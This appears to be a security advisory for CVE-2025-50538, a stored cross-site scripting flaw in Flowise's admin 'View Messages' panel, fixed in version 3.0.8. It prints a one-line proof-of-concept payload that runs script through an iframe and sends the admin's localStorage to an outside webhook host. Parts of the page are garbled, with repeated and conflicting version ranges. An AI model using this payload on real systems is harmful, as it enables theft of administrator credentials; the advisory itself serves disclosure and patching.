flowise
Affected
- introduced
0, fixed3.0.8(semver)
Fixed versions
3.0.8
Fix
- Fixed version
3.0.8npm install [email protected]
Advisory
Also known as: CVE-2025-50538
Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel
Summary
A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.
---
Details
The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.
---
PoC
<iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>">
localStorage content to the attacker-controlled webhook endpoint.---
Impact
localStorage---
Affected Products
npmflowise< 2.2.71Critical Basis: The source's own band: CRITICAL
0, fixed 3.0.8 (semver)3.0.8
3.0.8npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0